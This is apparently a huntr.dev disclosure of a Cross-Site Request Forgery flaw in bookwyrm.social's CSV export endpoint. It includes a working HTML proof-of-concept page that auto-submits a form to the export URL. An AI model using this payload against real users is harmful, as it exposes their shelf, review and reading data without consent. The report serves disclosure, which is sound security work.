Lucene search
Khanhchauminh760C144C-FEC7-451A-B70C-92C007FAA83DHistoryJul 11, 2022 - 9:06 a.m.
Cross-Site Request Forgery (CSRF)
2022-07-1109:06:28
khanhchauminh
www.huntr.dev
9
Description
An attacker is able to download data from a user via the CSV Export function. The export will include all the books on your shelves, books you have reviewed, and books with reading activity.
Vulnerable URL
https://bookwyrm.social/preferences/export/file
Proof of Concept
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://bookwyrm.social/preferences/export/file">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>